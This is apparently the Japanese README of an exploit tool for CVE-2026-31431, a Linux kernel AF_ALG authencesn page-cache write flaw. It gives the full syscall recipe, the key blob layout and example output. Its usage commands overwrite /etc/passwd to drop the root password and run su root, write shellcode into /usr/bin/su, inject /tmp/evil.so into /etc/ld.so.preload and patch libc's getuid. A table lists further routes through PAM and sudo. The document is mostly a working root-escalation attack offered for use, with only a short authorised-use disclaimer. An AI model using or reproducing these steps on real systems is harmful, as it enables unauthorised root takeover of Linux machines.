
CVE-2026-31431 のエクスプロイト。Linux カーネルの AF_ALG AEAD ページキャッシュ書き込みの脆弱性を利用し、権限のないユーザーが読み取り可能なファイルへの任意の 4 バイト書き込みを可能にすることで、ローカル権限昇格を実現します。
Linuxカーネルページキャッシュ権限外書き込み脆弱性 (AF_ALG AEAD リンクリストチェーンエラー)
Linuxカーネルの algif_aead インターフェースに、非特権ユーザーが任意の読み取り可能なファイルのページキャッシュ(page cache)へ任意のデータを書き込むことを可能にする脆弱性が存在します——ファイル権限チェック、強制アクセス制御(MAC)、および整合性検証を完全にバイパスします。
ディスク上のファイル内容は変更されませんが、その後そのファイルを読み取るすべてのプロセス(SUIDプログラム、動的リンカー、execve() など)は、ページキャッシュが再利用されるまで攻撃者によって改ざんされたバージョンを参照します。
| 項目 | 説明 |
|---|---|
| サブシステム | crypto/algif_aead.c |
| アルゴリズム | authencesn(hmac(sha256),cbc(aes)) |
| カーネル設定 | CONFIG_CRYPTO_USER_API_AEAD=y/m(ほぼすべての主要ディストリビューションでデフォルト有効) |
| 必要な権限 | なし — 対象ファイルへの読み取り権限のみで可 |
| 危険度 | ローカル権限昇格 → root |
| 影響を受けるディストリビューション | Ubuntu、Debian、Fedora、RHEL、Arch、openSUSE など |
AF_ALG を介してAEAD復号を実行する場合:
sendmsg() + MSG_MORE で関連認証データ(AAD)を送信します。これには攻撃者が制御する4バイトの seqno_lo が含まれます。splice() を使用して、対象ファイルのページキャッシュページをカーネル暗号化サブシステムの送信リンクリスト(TX SGL)に注入します。sg_chain でリンクします。authencesn アルゴリズムは seqno_lo を対象リンクリストのオフセット assoclen + cryptlen に書き込みます——この位置は受信バッファを越えて、リンクされたページキャッシュページに直接到達します。EBADMSG エラーを返しますが、ページキャッシュはすでに改ざんされています。 sendmsg (AAD) splice (ファイルページ)
│ │
▼ ▼
┌──────────┐ sg_chain ┌──────────────────────┐
│ RX バッファ │─────────────▶│ ページキャッシュページ │
│ 8 バイト │ │ (ファイル内容) │
└──────────┘ └──────────────────────┘
▲
│
authencesn がここに seqno_lo を書き込む
オフセット = assoclen + cryptlen
════ これが脆弱性の核心 ════
seqno_lo の4バイトは完全に攻撃者がAAD内で制御します(何を書くか)splice の長さがページキャッシュ内の書き込みオフセットを決定します(どこに書くか)# /etc/passwd のページキャッシュを改ざんし、rootパスワードを削除して su root を自動実行
./exploit.py escalate
実行プロセス:
/etc/passwd の元の内容を /tmp/.passwd.bak にバックアップroot:x:0:0:root:... を root::0:0:root :... に変更su root を自動実行(パスワード不要)出力例:
[*] CVE-2026-31431 — Copy Fail
[*] Mode: remove root password via /etc/passwd
[*] Backup: /tmp/.passwd.bak
[*] Before : root:x:0:0:root:/root:/bin/bash
[*] After : root::0:0:root :/root:/bin/bash
[*] Offset : 0
[0x000000] 726f6f74 root
[0x000004] 3a3a303a ::0:
[0x000008] 303a726f 0:ro
[0x00000c] 6f742020 ot
[0x000010] 3a2f726f :/ro
[0x000014] 6f743a2f ot:/
[0x000018] 62696e2f bin/
[0x00001c] 62617368 bash
[+] Success: root::0:0:root :/root:/bin/bash
[*] Recovery: echo 3 > /proc/sys/vm/drop_caches
[*] Running: su root (no password needed)
# 基本構文
./exploit.py write <ファイルパス> <オフセット> <データ>
# バイナリファイルからペイロードを読み込む
./exploit.py write <ファイルパス> <オフセット> @payload.bin
# SUIDプログラムのエントリポイントにシェルコードを書き込む
./exploit.py write /usr/bin/su 0x1040 @shellcode.bin
# プリロードライブラリのパスを注入
./exploit.py write /etc/ld.so.preload 0 '/tmp/evil.so\n'
# libc関数を改ざん(例:getuid() が 0 を返すようにする)
./exploit.py write /usr/lib/libc.so.6 0x284a0 '\x31\xc0\xc3\x90'
# 方法1:すべてのページキャッシュをクリアし、ディスク上の元の内容を復元
echo 3 > /proc/sys/vm/drop_caches
# 方法2:再起動
reboot
socket(AF_ALG, SOCK_SEQPACKET, 0)
→ bind("aead", "authencesn(hmac(sha256),cbc(aes))")
→ setsockopt(SOL_ALG, ALG_SET_KEY, authenc_鍵blob)
→ setsockopt(SOL_ALG, ALG_SET_AEAD_AUTHSIZE, 4)
→ accept() → リクエスト fd
┌─────────────────────────────────────────────┐
│ rta_len (2B) │ rta_type (2B) │ enckeylen (4B) │
│ 0x0008 │ 0x0001 │ 0x00000010 │
├─────────────────────────────────────────────┤
│ 認証鍵 (16バイト全ゼロ) │
├─────────────────────────────────────────────┤
│ 暗号化鍵 (16バイト全ゼロ) │
└─────────────────────────────────────────────┘
鍵の値は重要ではありません——HMACは必ず失敗しますが、権限外書き込みは検証前に完了しています。
ステップ 1: sendmsg(req_fd,
AAD = [seqno_hi(4B) | seqno_lo(4B)], ← seqno_lo = 書き込む値
cmsg = [OP=DECRYPT, IV=全ゼロ, ASSOCLEN=8],
flags = MSG_MORE)
ステップ 2: pipe_r, pipe_w = pipe()
ステップ 3: splice(target_fd → pipe_w, count = file_offset + 4, offset_src = 0)
ステップ 4: splice(pipe_r → req_fd, count = file_offset + 4)
ステップ 5: recv(req_fd, ASSOC_LEN + file_offset)
→ authencesn 復号をトリガー
→ seqno_lo が dst SGL オフセット assoclen + cryptlen に書き込まれる
→ そのオフセットはページキャッシュページの file_offset に該当
→ HMAC 失敗, EBADMSG を返す
→ ページキャッシュはすでに改ざん済み ✓
dst SGL レイアウト:
[0 .. 7] → RX バッファ (AAD 受信領域)
[8 .. 8 + file_offset + 3] → ページキャッシュページ (splice 注入)
seqno_lo 書き込み位置:
dst[assoclen + cryptlen]
= dst[8 + file_offset]
= ページキャッシュ内の file_offset 位置
∴ 攻撃者は file_offset を制御 → 書き込み位置を制御
攻撃者は seqno_lo を制御 → 書き込み内容を制御
.
├── exploit.py # 自己完結型エクスプロイトスクリプト(Python 3 + Linux のみ必要)
└── README.md # 本ファイル
本ツールは認可されたセキュリティ研究およびペネトレーションテストのみを目的としています。許可なく本ツールを使用して他人のシステムを攻撃することは違法行為です。利用者はすべての法的責任を自己負担するものとします。
| 制約 | 説明 |
|---|
| 読み取り権限 | 対象ファイルは現在のユーザーが読み取り可能である必要がある(O_RDONLY) |
| アライメント | 毎回4バイト書き込み;4バイト未満の末尾は 0x90 でパディング |
| ファイルサイズ | ファイルサイズは オフセット + データ長 + 4 バイト以上である必要がある |
| ページキャッシュのみ | ディスク上のファイル内容は変更されない |
| 持続性 | ページキャッシュが再利用されるか手動でクリアされるまで有効 |
| カーネル設定 | AF_ALG + authencesn が利用可能である必要がある(主要ディストリビューションではデフォルトで有効) |
| 攻撃経路 | 対象ファイル | 効果 |
|---|
| rootパスワード削除 | /etc/passwd | su root がパスワード不要 |
| プリロードライブラリ注入 | /etc/ld.so.preload | すべてのプログラムが悪意のある .so をロード |
| SUIDプログラム改ざん | /usr/bin/su など | シェルコードを実行してrootシェルを取得 |
| libc改ざん | /usr/lib/libc.so.6 | getuid() などの関数をハイジャックして 0 を返す |
| PAMモジュール改ざん | /usr/lib/security/pam_unix.so | すべての認証をバイパス |
| sudo改ざん | /usr/bin/sudo | 任意ユーザーが直接rootを取得 |